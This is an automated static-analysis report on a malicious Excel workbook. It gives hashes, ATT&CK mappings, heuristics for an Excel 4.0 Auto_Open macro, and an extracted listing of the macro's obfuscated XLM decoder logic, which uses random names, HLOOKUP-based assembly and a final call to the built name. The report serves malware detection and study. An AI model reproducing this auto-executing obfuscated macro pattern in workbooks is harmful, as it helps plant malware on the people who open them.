Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40cb457d0a503560…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:22 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: de65e9220113457510a1160dc80c17fa SHA-1: bc4a366875e108d4108b657b1b183caa4119ecf4 SHA-256: 40cb457d0a503560058b9d85bd5b64fd7008c663189436033fdcd7579186a93e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 (XLM) macros with an Auto_Open entry, which is a common method for executing malicious code. The macro sheet contains a reference to a dangerous function, suggesting it is designed to perform actions beyond typical spreadsheet operations, such as downloading and executing a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6631 bytes
SHA-256: 0e5095bf7319c8d5758b89f011772bd054c26183869d7490fcb8cce411094dd7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hwWsb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A188 
' 0018     26 LABEL : Cell Value, String Constant - bADOXeOFsmH len=0 
' 0018     26 LABEL : Cell Value, String Constant - dqyecUOiYpy len=0 
' 0018     27 LABEL : Cell Value, String Constant - DrSNkaZEFBMt len=0 
' 0018     21 LABEL : Cell Value, String Constant - EgMxTT len=0 
' 0018     21 LABEL : Cell Value, String Constant - FdQHOt len=0 
' 0018     21 LABEL : Cell Value, String Constant - gnSoNZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - HThtLDVZB len=0 
' 0018     20 LABEL : Cell Value, String Constant - imQKC len=0 
' 0018     22 LABEL : Cell Value, String Constant - InhQGfx len=0 
' 0018     24 LABEL : Cell Value, String Constant - jFaMzeIOP len=0 
' 0018     22 LABEL : Cell Value, String Constant - jhNDnuS len=0 
' 0018     23 LABEL : Cell Value, String Constant - ktuqzIRD len=0 
' 0018     22 LABEL : Cell Value, String Constant - NJBFsPI len=0 
' 0018     21 LABEL : Cell Value, String Constant - PtCuqK len=0 
' 0018     22 LABEL : Cell Value, String Constant - RucmIxr len=0 
' 0018     27 LABEL : Cell Value, String Constant - UFgRNXjuAZlp len=0 
' 0018     21 LABEL : Cell Value, String Constant - wqHXSK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ysWwCDbzWkX len=0 
' 0018     25 LABEL : Cell Value, String Constant - YXuNzeBIuc len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZvKzTaVgo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hwWsb,R66,"",986.00000000000000000000
'  hwWsb,R67,"",16.00000000000000000000
'  hwWsb,R68,"",-370.00000000000000000000
'  hwWsb,R69,"",-661.00000000000000000000
'  hwWsb,R70,"",-107.00000000000000000000
'  hwWsb,R71,"",-272.00000000000000000000
'  hwWsb,A97,"SET.NAME("dqyecUOiYpy",0+VALUE("0"))",""
'  hwWsb,A101,"SET.NAME("jFaMzeIOP",dqyecUOiYpy)",""
'  hwWsb,A104,"SET.NAME("EgMxTT",dqyecUOiYpy)",""
'  hwWsb,A106,"SET.NAME("imQKC",COUNTA(YXuNzeBIuc))",""
'  hwWsb,A109,"SET.NAME("FdQHOt",COUNTA(InhQGfx))",""
'  hwWsb,A111,[],""
'  hwWsb,A115,"SET.NAME("UFgRNXjuAZlp","")",""
'  hwWsb,A118,"jFaMzeIOP",""
'  hwWsb,A123,"SET.NAME("DrSNkaZEFBMt",HLOOKUP("*",YXuNzeBIuc,jFaMzeIOP,FALSE))",""
'  hwWsb,A127,"HThtLDVZB",""
'  hwWsb,A129,"SET.NAME("gnSoNZ",dqyecUOiYpy)",""
'  hwWsb,A132,[],""
'  hwWsb,A136,"gnSoNZ",""
'  hwWsb,A141,"bADOXeOFsmH",""
'  hwWsb,A146,"ysWwCDbzWkX",""
'  hwWsb,A148,"PtCuqK",""
'  hwWsb,A153,"SET.NAME("RucmIxr",VALUE(HLOOKUP("*",InhQGfx,PtCuqK,FALSE)))",""
'  hwWsb,A156,"ktuqzIRD",""
'  hwWsb,A160,"UFgRNXjuAZlp",""
'  hwWsb,A165,"EgMxTT",""
'  hwWsb,A167,NEXT(),""
'  hwWsb,A172,"jhNDnuS",""
'  hwWsb,A176,[],""
'  hwWsb,A178,"ZvKzTaVgo",""
'  hwWsb,A182,NEXT(),""
'  hwWsb,A184,RETURN(),""
'  hwWsb,A214,"SET.NAME("wqHXSK",A97)",""
'  hwWsb,A217,"YXuNzeBIuc",""
'  hwWsb,A222,"SET.NAME("InhQGfx",R94C11)",""
'  hwWsb,A226,"SET.NAME("ZvKzTaVgo",236)",""
'  hwWsb,A231,"SET.NAME("NJBFsPI",1)",""
'  hwWsb,A235,wqHXSK(),""
'  hwWsb,A236,HALT(),""

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